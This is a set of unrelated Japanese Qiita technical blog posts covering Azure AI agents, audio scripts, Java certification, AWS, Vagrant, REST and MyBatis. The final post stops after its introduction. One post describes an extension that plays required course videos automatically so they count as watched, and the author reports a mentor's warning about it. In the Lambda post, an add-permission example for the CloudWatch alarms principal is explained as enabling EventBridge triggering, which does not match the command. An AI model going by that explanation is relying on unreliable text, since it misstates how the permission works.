OmniAICreator/Qiita-1.07M huggingface dataset:
Azure AI Agent Service のエージェントプレイグラウンドを試してみる

## はじめに
Azure AI Agent Service が SDK と Azure AI Foundry Portal から一般提供されました。これにより、Azure AI Foundry Portal の GUI にエージェントプレイグラウンドが追加され、AI Agent の作成がよりスムーズにできるようになりましたので、こちらの検証を行ってみました。

https://techcommunity.microsoft.com/blog/azure-ai-services-blog/unlocking-ai-powered-automation-with-azure-ai-agent-service/4372041


## 検証
以下の公開情報を参考に Bing 検索を利用する AI Agent のデプロイを進めていきますので、必要に応じて詳細はこちらを確認してください。

https://learn.microsoft.com/en-us/azure/ai-services/agents/quickstart?pivots=ai-foundry

1. [Grounding with Bing Search] をデプロイします
検証のためデプロイ手順に従って、設定は原則既定のもので進めていきます。Azure Portal から [Bing リソース] を選択して、デプロイを進めます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/509520ec-b2fa-0a4b-71e7-286a0386d4ff.png)

2. Azure Portal から Azure AI Hub をデプロイします

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/b1e493a1-cab3-c11b-d623-8028724bb558.png)
3. 作成した Azure AI Hub より Azure AI Foundry を開きます
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/44879c1b-aed2-8852-da4e-e54d62e6345e.png)
4. Project を作成します
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/1afe322c-2f7c-ecf1-b45d-fd3df2a6fce1.png)
5. 作成した Project から [エージェントプレイグラウンド] を選択します
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/9ea0af52-e579-ff48-5759-e55ed4f9613c.png)
6. [エージェントプレイグラウンド] のモデル選択画面でモデルをデプロイします
今回、Bing 検索によるグラウンディングを実施することが目的であるため、モデルは以下から選択します。

>Bing 検索を使用したグラウンディングは、次の Azure OpenAI モデルでのみ機能します: gpt-3.5-turbo-0125、gpt-4-0125-preview、gpt-4-turbo-2024-04-09、gpt-4o-0513

https://learn.microsoft.com/ja-jp/azure/ai-services/agents/how-to/tools/bing-grounding?tabs=python&pivots=overview
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/6f831dea-0fa2-4c83-7c18-77ce75d2b07e.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/209ad081-c1cd-2560-cb0c-545b16143a61.png)
7. [エージェントプレイグラウンド] から [ナレッジの追加] を選択します
[ナレッジの追加] から [Bing 検索を使用したグラウンド] を選択し、先ほど作成したリソースを選択し、[接続を追加する] を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/0d31aae9-9b24-ecc4-005e-9c9cd5d9c823.png)
8. チャットを開始します
Bing 検索を検証するため次のような質問することで、Bing 検索の情報をソースとしていることが確認できます。
「次のオリンピックはどこですか。その開催地の名物を教えてください。」
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/e0dabe6e-f177-87e4-bc8c-db00054fba0b.png)

以上で、GUI から入力に対して Bing 検索を行い、得られた情報を用いて回答する AI Agent を作成できることを確認できました。

## トラブルシューティング
チャットを行う際に以下のエラーが出るような場合は、デプロイしたモデルのレート制限を変えることで解消するこがあります。

> rate_limit_exceeded: Rate limit is exceeded

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3958625/add94cb4-8659-dd19-c5b2-99eb31e2cf4c.png)


## まとめ
Azure AI Agent Service が SDK、Azure AI Foundry Portal から一般提供され、今回は GUI からスムーズに Agent を構築できることを確認しました。Azure AI Agent Service では、AI Agent に必要なコンポーネントをまとめて管理することができるので、Agent の開発がより始めやすくなったかと思います。既に Azure AI Search との連携も GUI からでき、その他の機能も拡張していくようなので、より手軽に多くのことを Agent ができるようになりそうです。
実行するだけで音声入力デバイスのミュートを切り替えるバッチを作る

# はじめに
CSゲームをしながら通話する際、PCにディスプレイからのオーディオ出力を入力して、「このデバイスを聴く」で音を聴いています。

しかし、PCゲームを行う際に上記オーディオ入力をオンにしたままだとノイズが混じることがよくありました。
そのため、実行するだけで音声入力デバイスのミュートを切り替えるバッチが欲しかったのですが、作り方が分からずにマクロを組んで使っていました。

調べてみても、ヒットするものはバッチ内でmmsys.cplを呼び出し、キー入力を送信してウィンドウを操作するものばかり。これじゃマクロと変わらない。
というわけで、色々試した結果上手くいったものを紹介します。

# AudioDeviceCmdlets
まず、[AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets "AudioDeviceCmdlets")をインストールします。
PowerShellで以下コマンドを入力。

```powershell:PowerShell
Install-Module -Name AudioDeviceCmdlets
```
以下のコマンドを実行し、ミュートを切り替えたいデバイスのIDを調べましょう。
```powershell:PowerShell
Get-AudioDevice -List
```
以下出力結果例
```powershell:出力結果
Index                : 1
Default              : True
DefaultCommunication : True
Type                 : Playback
Name                 : EX-LDDD293HD (NVIDIA High Definition Audio)
ID                   : {0.0.0.00000000}.{88929d93-fde7-4131-b4ee-585a30c98def}
Device               : CoreAudioApi.MMDevice

Index                : 2
Default              : False
DefaultCommunication : False
Type                 : Playback
Name                 : スピーカー (FOB-90)
ID                   : {0.0.0.00000000}.{c0c90da6-a5e6-4333-b5df-13f06c47667c}
Device               : CoreAudioApi.MMDevice

Index                : 3
Default              : False
DefaultCommunication : False
Type                 : Recording
Name                 : マイク (Realtek(R) Audio)
ID                   : {0.0.1.00000000}.{53ca6288-63ae-42e3-9ce5-6b6f60b0006c}
Device               : CoreAudioApi.MMDevice

Index                : 4
Default              : True
DefaultCommunication : True
Type                 : Recording
Name                 : マイク (FOB-90)
ID                   : {0.0.1.00000000}.{658a639d-560c-4ea3-a8f1-85f129bba7e8}
Device               : CoreAudioApi.MMDevice
```
# PS1ファイル作成
下記PS1ファイルを作成。
```ps:audiochanger.ps1
Set-AudioDevice -Id "<ミュートを切り替えたいデバイスのID>"
$mutechange = !(Get-AudioDevice -RecordingMute)
Set-AudioDevice -RecordingMute $mutechange
Set-AudioDevice -Id "<マイクのID>"
```
自分の場合は3番目のデバイスがミュートを切り替えたいデバイスで、4番目のデバイスをマイクとして使用していたため、下記のような形。

```ps:audiochanger.ps1
Set-AudioDevice -Id "{0.0.1.00000000}.{53ca6288-63ae-42e3-9ce5-6b6f60b0006c}"
$mutechange = !(Get-AudioDevice -RecordingMute)
Set-AudioDevice -RecordingMute $mutechange
Set-AudioDevice -Id "{0.0.1.00000000}.{658a639d-560c-4ea3-a8f1-85f129bba7e8}"
```
# BATファイル作成
```bat:audiochanger.bat
@echo off
pwsh -executionpolicy RemoteSigned -File "<上記で作成したps1ファイルの絶対パス>"
```

自分の場合は纏めてDドライブ直下にフォルダを作って置いておいたので下記のような形。

```bat:audiochanger.bat
@echo off
pwsh -executionpolicy RemoteSigned -File "D:\audiochanger\audiochanger.ps1"
```
・PowerShellのバージョンが古い場合上記「pwsh」を「powershell」と変更する必要があるかも？
・絶対パスである理由は、バッチをクリックで実行する場合は相対パスでも問題なかったのですが、バッチの実行をキーに割り当てた際にうまく動作しなかったためです。

# おわりに
というわけで、上記バッチをキーに割り当て、楽にデバイスのミュートが切り替えられるようになりとても快適になりました。
マクロでもできましたが、走っている間に入力が入ってしまうとおかしな結果が出たりして不快でしたからね。
恐らく最も効率的な方法というわけではないでしょうが、皆さんの助けになれば幸いです。
【初心者向け🔰】JavaBronze(Silver)合格への道のり

## はじめに
こんにちは。[株式会社KANGEN Holdings](https://kangen-holdings.co.jp/)に所属しているhakushakuです。
今回は私が実際にJavaBronzeからGoldまで資格を取得した時の勉強方法を紹介します。

## そもそもOCPJPの種類は？

| 資格名 | 前提資格 | 受験料 |
|:-:|:-:|:-:|
| Oracle Certified Java Programmer, Bronze SE 認定資格 | なし | 13,600円 |
| Oracle Certified Java Programmer, Silver SE X 認定資格 | なし | 26,600円 |
| Oracle Certified Java Programmer, Gold SE X 認定資格 | Silver以上の資格 | 26,600円 |

xはバージョンに置き換えて考えてください。
基本的には上記の３種類になります。
今回は主にBronzeとSilverにフォーカスしますが、Goldを受験するにはSilverを取得しなければならないです。

## 勉強方法
さて本題の勉強方法を紹介していきます。
今回の勉強方法ではいわゆる[黒本](https://x.gd/Icdcl)を使用します。
研修でJavaは少しやったことがあるぞ！という方は黒本のみで既に合格圏内です！
完全にプログラムが始めてだ(´；ω；`)という方は紫本を読んだり、Javaの初学者向けの勉強動画を見てから始めると合格はより近づくと思います。
Javaの初学者向け記事もおいおい書ければと…

ここで黒本を選んでいる理由ですが、とにかく本試験と類似した問題が掲載されているからです。
私の体感ですが7割方同じような問題がでました。
BronzeもSilverも1、2問上位資格が出題されていた記憶ですが、合格ラインが正答率6割～6.5割なのでそこは捨てても問題ありません。

### 1.まず１周解いてみる
最初はわからなくても大丈夫です。
問題を見る。→回答解説を読む→次の問題
というサイクルでひとまず最後までといてみてください。
巻末にある問題集は模擬試験としてとっておきたいのでそこは無視して大丈夫です。

ここで注意が必要です。1章が完璧じゃないと次に進んではいけない気がする…という方がいますが、1冊解き終わるころには最初の1章の内容が記憶から消されている可能性があるので、パパっと次の章に進んでください。

### 2.すぐに2～4周目に突入する
間を開けずにすぐ次の周に突入してください。
4周もするとだんだんと問題を見た瞬間に、正解の選択肢がわかってしまうという問題がでてくると思います。
ここで答えがその選択肢になる理由を脳内で自分に解説してみてください。
解説できましたか？なんとなくで大丈夫です。
100%あってなければだめだ！なんてことはありません。
ただその問題について、以下の観点でも考えるようにしてみてください。

<strong>なぜ他の選択肢は間違いなのか</strong>

大事なことなので2回言います

<strong>なぜ他の選択肢は間違いなのか</strong>

そしてこれ以降は全問題で考えるようにしてください。

これを意識するとしないとでは大きな差があります。
回答解説には
Aは〇〇〇〇だから正解
Bは〇〇〇〇だから不正解
という記載がされています。
これは今回のシチュエーションではAが正解ですが、Bが正解になるシチュエーションも解説してくれているのです。
なので1問解くだけで4問分の知識をインプットすることができるのです。

 ### 3.終盤10周目に近づいてきたら高速で周回する
 7周目に入ってきたあたりから解説を見ずとも、選択肢の正誤と理由が脳内で浮かんでくる感覚になってくると思います。
 そうなってきたら高速で周回するようにしてください。
人間の脳は何回も出会った情報を記憶しやすくなっているので「高速で周回」が重要になってきます。

### 4.巻末の模擬試験を受けてみる
10周解いたら巻末の模擬試験を受けてみましょう。
実際に時間を計って解いてみてください。
ここでの正答率はそこまで気にしなくても大丈夫です。
重要なのは問題に慣れることと、分からなかった問題の解説を読み何故正解なのか、何故誤りなのかをインプットしてください。
そして既に日課となっている周回に含めてください。

### 5. 受験
いよいよ模擬試験も含めて解けるようになったら受験です！
頑張ってください！！

## さいごに
 今回記事を書くにあたり10周というわかりやすい目標を設定しましたが、何回も周回するうちに解くスピードが上がってくるので周回が苦ではなくなってきます。（個人差はあります。）
 なので本来であれば受験までにひたすら周回することが望ましいです。
 
黒本を解いていると解説を読んでも府に落ちなかったりすることも出てくると思いますが、実際に実装してみたり有識者に質問してみたりしてみてください。
きっと貴方の力になってくれると思います。

この記事も皆様の受験の手助けになれば幸いです。
EPUBビュワーの比較

## 電子書籍販売サイトのEPUB
多くの電子書籍は販売サイトでDRMがかかっているのでEPUBファイルを配布されることはあまりない。なのでEPUBファイルを触れる機会は直接EPUBを販売しているサイト等である。その他に自分でEPUBを作ったり、配布サイトからダウンロードなどがある。EPUBを見るためのビュワーを比較してみたい。

https://qiita.com/tommy_aka_jps/items/9b3a8fb1939033003119

## 端末に転送する

　KindleではEPUBファイルは読めないが、send to kindleを経由するとEPUBを読める形式に変換してくれる。以前はmobiも対応していたが今は対応していない。その他にkindle previewerを使って変換して、Kindle端末やアンドロイドiosなどに直接ファイルを読み込ませる方法もある。
　グーグルプレイもEPUBを一旦サーバーにアップロードしているように思う。グーグルプレイは日本語の表現があまり対応していないのでおすすめしない。
 Apple Booksは品質がいいのだけど、Apple製品以外には使えない、E Ink端末がない。
 kinoppyを使うことが多い、その他kobo,bookwalkerなどでチェックする。国内のは電書協に合わせていれば表示する。

 https://www.amazon.co.jp/sendtokindle
 
 https://k-kinoppy.jp/help_pc/index.html?p=26

## bluetoothリモコンの対応
　リーダーによりblutoothリモコンが対応していないものがある。ページ送りがシャッターボタンであれば、ダイソーのリモコンでページめくりが可能である。

## EPUBの互換性
 　EPUB形式ならばどのビュワーで見ても同じ表示になるかという問題。EPUBには一つのビュワーにしかちゃんと表示しないEPUB等がある。よく問題になるのがindesign、pages、sigilで作るとビューワー外に文字が飛び出す。EPUBを見ようとするとどんなソフトで作られたEPUBなのかがわからないとちゃんと表示ができない。
IAM Identity Center を使ってみた(失敗) 

# 本頁の目的
IAM Identity Centerを初めて利用するので、備忘として記録を残す。

# 対象読者
* IAM Identity Centerに興味のあるひと
* なんか無料で認証とかできるようになってみたいひと

# 作業概要
IAM Identity Centerを利用してログインできるようにする。
また、AWS CLIをアクセスキーの認証なしに実行する。

## 作業環境
| 項目 | 値 |
| :---: | :---:|
| OS | Windows11 |

## 必要なもの
* Gitbash
* AWS CLI

## 必要な知識
* AWSってクラウドだよねーくらいの知識

# 作業内容
## IAM Identity Centerの有効化
1. AWSにrootでログインする。
1. 検索バーからIAM Identity Centerと入力し、ページを遷移する。
1. 有効化するボタンをクリック
1. 「この AWS アカウントでのみ有効にする」を選択し、続行をクリック
1. 「有効にする」をクリック
    ※ タグとか特に指定せずに有効化した。

## IAM Identity Centerの設定
1. グループ作成
    1. 左ペインの「グループ」をクリック
    1. 「グループを作成」をクリック
    1. グループ名を入力し、グループを作成をクリック
        ※ Administrator は内部予約のため作成できなかった。
    1. グループを作成をクリック
1. ユーザ作成
    1. 左ペインの「ユーザ」をクリック
    1. 「ユーザを追加」をクリック
    1. ユーザ名/Eメールアドレスを入力
    1. パスワードで任意のパスワード共有方式を選択
    1. 「次へ」をクリックする
    1. グループを選択する。
    1. 「次へ」をクリックする
    1. 内容を確認し、「ユーザを追加」をクリック

1. ユーザ追加の承諾
    1. メールのAccept Invitationをクリックする。
    1. 新規パスワードを入力する
    1. ログイン画面遷移後にユーザ名とパスワードを入力する。
    1. 認証方式を選択し、設定する。
    1. これでログインは完了
    1. 何もないアクセス完了画面が表示される。

1. 権限追加
    1.左ペインの 「マルチアカウント権限」 で、「アクセス権限セット」 を選択、、、あれ、ない...

あかんやん。。
調べてみたらスタンドアロンでは権限セット出てこないっぽい。

# おしまい
とりあえず中断、別件あるから。
そのうちOrganizationに紐づけて作成しなおす。
レポート提出を自動化したら先生から電話が来た話


## はじめに

これは、私が入学して数ヶ月経った頃の出来事です

5 月頃、友人が **Zen Study（旧：N予備校）** の動画が終了すると次の動画に自動遷移するツールを作成していました

私はそのツールをさらに進化させたいと考え、開発を開始し  
見事に完成させることができました！

しかし、その友人は自身の拡張機能を **Chrome Web Store** に公開した後、Slack から姿を消してしまいました

数日後、私の元にメンター（以下「先生」）から電話があり、この拡張機能について多くの質問を受けました

- **作成の目的**
- **使用用途**
- **どのように動作するのか**

約 7 分間の会話の後、通話は終了

### 再び先生からの電話

翌日、再び先生から電話がありました

結論として、私の作成したアプリは **コードを公開しているものの、拡張機能としては公開していない** こと、さらに `README.md` に **「自分のための練習用」** と明記していたことから、警告のみで済みました

ただし、コード内の変数を変更することで **完全にバックグラウンドで動作する点** については特に注意を受けました

幸い、私は Slack から姿を消すこともなく、現在は部活の運営や実行委員として活動を続けています  
その点は安心してください！

## 開発の過程での気付き

この拡張機能を作成している途中で気付いたことがあります

**デバッグ中に動画を最後まで再生してしまい、実際に利用する機会が少なかったこと**

これはかなり悔しいポイントでした

## コードの解説

現在のコードは当時のものより進化していますが、基本的な構造は変わっていないので少しだけ解説します

```ts
const RGB_COLOR_GREEN = "rgb(0, 197, 65)";
const TYPE_MOVIE_ROUNDED_PLUS = "movie-rounded-plus";

function getList(): ListItem[] {
  const elements = document.querySelectorAll<HTMLLIElement>(
    'ul[aria-label="必修教材リスト"] > li',
  );
  return Array.from(elements).map((element) => {
    const titleElement = element.querySelector<HTMLSpanElement>(
      "div div div span:nth-child(2)",
    );
    const title = titleElement?.textContent?.trim() ?? "";
    const iconElement = element.querySelector<HTMLElement>("div > svg");
    const iconColor = iconElement
      ? window.getComputedStyle(iconElement).color
      : "";
    const passed =
      (iconColor === RGB_COLOR_GREEN ||
        element.textContent?.includes("視聴済み")) ??
      false;
    const type =
      iconElement?.getAttribute("type") === TYPE_MOVIE_ROUNDED_PLUS
        ? "supplement"
        : "main";
    return { title, passed, type };
  });
}
```

このコードでは `getList()` を使用して **視聴済みの動画・未視聴の動画・必修ではないコンテンツ** を判断し、JSON オブジェクトとして返却します

上記関数で作成された JSON をもとに、未視聴のコンテンツの index を探し、再生する仕組みです

```ts
function findIndex(data: ListItem[]): number {
  return data.findIndex((item) => item.type === "main" && !item.passed);
}
```

## Firefox 対応について

この拡張機能は Firefox にも対応しています

Chrome Web Store には公開されていませんが、Firefox の `about:debugging#/runtime/this-firefox` から手動でインストールすれば利用可能です

ただし、Firefox では Chrome とは異なり `manifest.json` の `browser_specific_settings` を適切に設定する必要があります（ビルドスクリプトで自動対応）

拡張機能の動作自体はほぼ同じですが、開発者ツールでのデバッグ方法や API の挙動が一部異なるため、完全な動作は保証できません

## まとめ

この拡張機能の作成を通じて学んだことは以下の通りです

- **技術的なチャレンジは楽しいが、その影響範囲を考えなければならない**
- **公開することで想定外の反応があることもある**
- **デバッグ中に動画を最後まで視聴してしまうのは割と困る**

まあ、この記事が消えたら察してください（）
Windows11 24H2 + vagrant upでエラー時の対応メモ

# はじめに
## 環境
* Windows11 Home 24H2
* VirtualBox 7.1.6 r167084(Qt6.5.3)
* Vagrant 2.4.3
* Almalinux8.9（ゲストOS）

## この記事の目的
Windows11を24H2にupdateした後、vagrant upしたらエラーでゲストOSが起動できなくなった。
ネット検索していろいろやったら直ったのでメモとして記録。
Windows11 updateが原因かどうかは不明。

# 経緯
## vagrant upでエラー
RedHat8系Linuxに関して確認したいことがあったので久しぶりにVM起動。
よくわからないエラーになった。

## VirtualBoxバージョンアップ
VirtualBoxの最新バージョンがあったので6.1.xから7系にバージョンアップ。
[Download VirtualBox](https://www.virtualbox.org/wiki/Downloads)

## Vagrantバージョンup
VirtualBoxの最新化に合わせ、Vagrantもバージョンアップ
[Install Vagrant](https://developer.hashicorp.com/vagrant/install)
Windows再起動が必要。

# エラー内容
## VM起動中になんらかのシステムエラー
なんらかのエラーってなんやねん。でも悲しいかなわからない。
エラーメッセージは“The guest machine entered an invalid state”とありました。
stateはgurumeditation。「瞑想中」らしい。

## VirtualBox上のステータス
「瞑想中」と表示されている画面
![スクリーンショット 2025-02-07 220452.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/223690/fd3e3127-5118-22c1-8697-a58d21ef83bf.jpeg)

# とりあえずやってみたこと
## バージョンアップ
上記経緯を参照。VirtualBoxとVagrantを最新バージョンにしたがエラー解消せず。

## Vagrant環境再作成
これで直るケースもあるので真っ先に実施。状況変わらず。
```
> vagrant destroy
> vagrant up
```

# 解決策
## Hyper-Vを無効化
以前、VirtualBoxとHyper-Vがバッティングしてうまく動作しなかったことを思い出し、Hyper-Vを無効化してみたらビンゴ。
（参考URL）
[VirtualBox E_FAIL (0x80004005)エラーを簡単に修復する方法３選](https://www.partitionwizard.jp/news/e-fail-0x80004005.html)
上記サイトの「方法１：CMDを使ってHyper-Vを無効にする」を試した。
管理者権限でコマンドプロンプトを起動して以下コマンドを実行。
```
> bcdedit /set hypervisorlaunchtype off
```
## Windows再起動
コマンドプロンプトでHyper-Vを無効化した後はWindows再起動が必要。めんど。

## vagrant up
vagrant upでVMが起動することを確認。
無事システム起動することができた。
```
> vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Importing base box 'almalinux/8'...
（略）
==> default: Configuring and enabling network interfaces...
==> default: Mounting shared folders...
    default: C:/usr/local/vm/almalinux8.9 => /vagrant
PS C:\usr\local\vm\almalinux8.9>
PS C:\usr\local\vm\almalinux8.9> vagrant ssh
[vagrant@vbox ~]$ 
```

# だがしかし

## Hyper-Vを無効化すると
WSL2が使えないではないか（がーん）
```
WSL2 は、現在のマシン構成ではサポートされていません。
```

## Hyper-Vを有効化
WSL2を使うときはHyper-Vを有効化する必要がある。
以下のコマンドを管理者権限のコマンドプロンプトで実行し、Windows再起動。めんど。
```
> bcdedit /set hypervisorlaunchtype on
```

# おわりに
現状はvagrant(VirtualBox)とWSL2が共存できないという悲しい状況ですが、そのうちWindows updateで共存できるようになることを期待する。（前はできていた）
【Mac】画面収録に内部音声と外部音声を含める方法

## BlackHoleをインストール
以下のコマンドを実行してBlackHoleをインストールします。

```terminal
brew install blackhole-2ch
```

https://github.com/ExistentialAudio/BlackHole

## Audio MIDI設定で「複数出力装置」と「機器セット」を作成する

Audio MIDI設定でオーディオ装置を表示します。
左下の「+」ボタンをクリックし、「複数出力装置を作成」をクリックします。

![SCR-20250227-twvp.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/dd941e8a-57a5-42b2-a2e8-3923e2886315.png)

「BlackHole 2ch」と「MacBook Proのスピーカー」にチェックをつけます。

![SCR-20250227-uans.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/308fb6c0-a8ef-4079-ad7a-0dc7707941cb.png)

再度左下の「+」ボタンをクリックし、「機器セットを作成」をクリックします。

![SCR-20250228-bdid.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/fe5fd18b-7736-4486-bfb1-318200c89c93.png)

「MacBook Proのマイク」と「BlackHole 2ch」にチェックをつけます。

## 画面収録時の設定

「オプション」から「マイク」を「機器セット」に変更します。

![SCR-20250228-bfhn.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2342443/0a4fe628-c7e4-4440-81e2-a59f711d33af.jpeg)
RESTについてザックリ

# REST

REST・・・REpresentational State Transferの略

設計思想のひとつである（家を設計するときに、用途に応じて木造にするのか鉄筋にするのかを考えるのと同じ）

RESTには大事な原則が4つある

- アドレス可能性
- 統一したインタフェース
- ステートレス状態
- 接続性

また似た言葉にRESTful APIというものがあるがこれは単に
以下に示すようなRESTの原則(json形式でやり取り, 決まったメソッドを使う, URIで動くなど)を忠実に守ったAPIのことである

## メリット

- クライアント↔サーバ間においてjson形式でやりとりができる
  - それまで主流だった思想のSOAPはXML形式という可読性が最悪な形式だった

## デメリット

- 行いたい操作・データなどが増えたらその分だけURIを発行する必要があり、管理が大変
  - そこで同じURIでも別の操作をできるようにしようと生まれたのがFacebook社が発明したGraphQL

## アドレス可能性

URIが指し示す情報がひとつに決まること（まるで住所(address)が特定できれば、ひとつの家にたどり着けるようなもの）

## 統一したインタフェース

特定の操作をする際には決まったメソッドを使って行うこと

CRUD操作をする際に

- GET
- POST
- PUT
- DELETE

という決まったメソッドを利用しないと、操作ができないようにする

中身は何をしてもいいが、絶対にこの部分は通ってやりとりしろよというイメージ（インタフェース）

## ステートレス状態

毎回ちゃんとURIで行いたい操作を指示すること

前回のユーザの訪問時の状態を維持することはなく、毎回リクエストに応じた処理のみを返す（ある意味指示待ち人間に近いかも）

## 接続性

一つを起点にどんどん広がっていく、次から次へと遷移ができること（webの概念そのもの）

# 参考文献

[「RESTとはなんぞや？」を４原則から考えてみる - Qiita](https://qiita.com/185shingeki/items/ce01ee915504b8601193)

[REST APIを超分かりやすく図解で説明します ~RESTfulなAPI設計とは~](https://youtu.be/rEGmSRZ-dWY?si=NrmFP-hr0e82FlOG)
SQL操作 (キャメルケースとスネークケースを同一視する)

# SQL操作 (キャメルケースとスネークケースを同一視する)

Spring Boot上でのSQL操作を簡略化するために用意されているDependencyであるMyBatisには、標準でDB上のカラム名とBeanで設定したカラム名が異なる場合、それらを別のものとして扱う機能が備わっています。

この仕様により、キャメルケース (camelCase) とスネークケース (snake_case) の違いも別のものとして認識されてしまいます。しかし、これらを同一視することで、DB操作をよりスムーズに行えるようになります。

## 例
例えば、データベースのカラム名が `moto_no` の場合、
JavaのGetterメソッドの規則に従い `getMotoNo` というメソッドを作成できます。

### 想定ケース
#### データベースのカラム名:
```sql
moto_no
```

#### JavaのBean:
```java
private String motoNo;

public String getMotoNo() {
    return motoNo;
}
```

この場合、MyBatisのデフォルト設定では `moto_no` と `motoNo` は異なるものとして扱われてしまいます。

## キャメルケースとスネークケースを同一視する方法

この問題を解決するには、`application.properties` に以下の設定を追加します。

```properties
mybatis.configuration.map-underscore-to-camel-case=true
```

この設定を有効にすることで、データベースの `moto_no` は `motoNo` と自動的にマッピングされ、MyBatisでのマッピングが簡略化されます。

---

## 参考文献

[VSCodeでSpringBoot開発 #08.データベースアクセス](https://youtu.be/i6mauFYuCrc?si=sH7eITbSQRyIQTVw&t=2795)
【初心者】AWSのEBSに出てくるIOPS（Input Output　Per Second）って何？

### ずばり・・・
一秒間にできるデータの「書き込み」と「読み込み」の回数（つまり速度）を表している。
**主にストレージの性能評価に使われている。**

### データの書き込み
アプリケーションからストレージにデータを入力すること！

### データの読み込み
アプリケーションがストレージの内容を参照したり、別のAZにあるストレージに移行するなどの場合を指している！


:::note info
I/Oは「入ってそして出たデータ（ダジャレじゃないよ）」ではなく、「入ったデータと読み込まれたデータ」の2種類の意味がある。
:::

### IOPSの計算式（他にも色々な算出方法がある参考文献をご確認ください）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3575047/42f9c656-be3c-4bb9-b5c5-25bbc0b2c831.png)

平均アクセス時間は平均シークｊと平均回転待ち時間の和になる。

:::note info
平均アクセス時間とか云々はこのサイト見るとわかりやすいです。
https://shikaku.pepenoheya.blog/magnetic-disk-access-time/
:::



### 参考文献（2025年2月27日）

https://www.netapp.com/ja/blog/what-is-iops/

https://www.itbook.info/network/storage02.html
Lambdaの監視

# スケジュールされたLambdaの監視 CloudWatchアラーム作成

## はじめに
AWSの代表的なサーバーレスサービスであるLambda関数は、EventBridgeのスケジュール機能を利用することで、自動的にトリガーさせることができます。しかし、スケジュールが正常に動作しているかを確認するには、Lambdaのログを手動でチェックする必要があり、運用コストがかかる可能性があります。

そこで、CloudWatchを活用してLambdaのメトリクスを監視し、異常が発生した際に自動的にアラームを発報し、SNSやLambdaアクションを通じて通知を行う方法を紹介します。

## CloudWatchアラームとは？
CloudWatchアラームは、指定したメトリクスの値がしきい値を超えた場合に、SNSやLambdaアクションを通じて通知や処理を実行する機能です。Lambdaをスケジュール実行する場合、CloudWatchメトリクスを活用して期待する回数の実行が行われているかを監視できます。

## Lambdaのメトリクス
Lambdaのメトリクスには以下のようなものがあります。

| メトリクス名 | 説明 |
|-------------|------|
| Invocations | Lambda関数が呼び出された回数 |
| Errors | エラーが発生した回数 |
| Duration | 実行時間 (ミリ秒) |
| Throttles | 実行がスロットルされた回数 |
| DeadLetterErrors | DLQにメッセージが送信できなかった回数 |
| IteratorAge | イベントソースマッピングの遅延 |

この中で、スケジュール実行の監視には`Invocations`メトリクスを使用します。

## スケジュール実行の監視
例えば、Lambdaが12時間ごとに1回実行されるスケジュールの場合、1日に2回 (24時間で2回) 実行されることが期待されます。この実行回数をCloudWatchアラームで監視し、期待した回数に満たない場合に通知を送るように設定します。

### CloudWatchアラームの設定手順
1. **メトリクスの選択**
    - AWSマネジメントコンソールのCloudWatchにアクセス。
    - [メトリクス] → [Lambda] を選択。
    - `Invocations` メトリクスを選択。
    - 該当のLambda関数を選択。

2. **アラームの作成**
    - メトリクスのしきい値を`1日2回未満`に設定。
    - しきい値の計算期間を24時間に設定。
    - アラームの状態が`異常 (ALARM)` になった場合のアクションを指定。
    - SNSトピックを作成し、メール通知を設定。
    - 必要に応じてLambdaアクションを設定し、追加の処理を行う。

3. **アラームの有効化**
    - 設定を保存し、アラームを有効化。

## Lambdaアクションでの通知処理
SNS通知だけでなく、Lambdaを使ってより高度な処理を行うことも可能です。例えば、
- SlackやTeamsに通知を送信
- Lambdaの再実行処理を自動化
- 異常検知後の対応ログを保存

以下は、SNS経由でSlackに通知を送るLambda関数の簡単な例です。

```python
import json
import urllib3

def lambda_handler(event, context):
    webhook_url = "https://hooks.slack.com/services/your/webhook/url"
    message = {
        "text": "🚨 Lambdaのスケジュール実行回数が不足しています！"
    }
    http = urllib3.PoolManager()
    response = http.request(
        "POST",
        webhook_url,
        body=json.dumps(message),
        headers={"Content-Type": "application/json"}
    )
    return {
        "statusCode": response.status,
        "body": response.data.decode("utf-8")
    }
```
add-permissionの設定は必要か？

LambdaをEventBridgeでスケジュール実行する場合、add-permissionを使用して適切な権限を設定する必要がある場合があります。通常、EventBridgeからLambdaを直接トリガーする場合は、Lambdaのリソースポリシーに適切な権限が付与されるため、手動で設定する必要はありません。しかし、異なるAWSアカウントやカスタムのIAMロールを使用する場合は、以下のように明示的に権限を付与することが推奨されます。

```
aws lambda add-permission \
--function-name my-function-name \
--statement-id AlarmAction \
--action 'lambda:InvokeFunction' \
--principal lambda.alarms.cloudwatch.amazonaws.com \
--source-account 111122223333 \
--source-arn arn:aws:cloudwatch:us-east-1:111122223333:alarm:alarm-name
```

この設定により、EventBridgeからLambda関数を適切にトリガーできるようになります。

## まとめ
CloudWatchアラームを活用することで、スケジュールされたLambdaの実行状況を自動的に監視し、異常時に通知を行うことができます。

✅ **監視ポイント**
- `Invocations` メトリクスを使用してLambdaの実行回数をチェック
- 期待した回数に満たない場合にCloudWatchアラームを設定
- SNSやLambdaアクションを利用して自動的に通知や対応を実行
- 必要に応じてadd-permissionを設定し、権限エラーを防ぐ

これにより、スケジュールされたLambdaのトラブルを迅速に検知し、対策を講じることができます。
AIの登場によってエンジニアは何が変わったのかを考察してみる

# はじめに
エンジニアがコーディングする際にAIのサポートを得ることがすでに当たり前になってしまった。
